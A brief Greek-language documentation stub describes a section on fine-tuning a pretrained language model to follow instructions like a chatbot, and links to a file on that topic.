> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}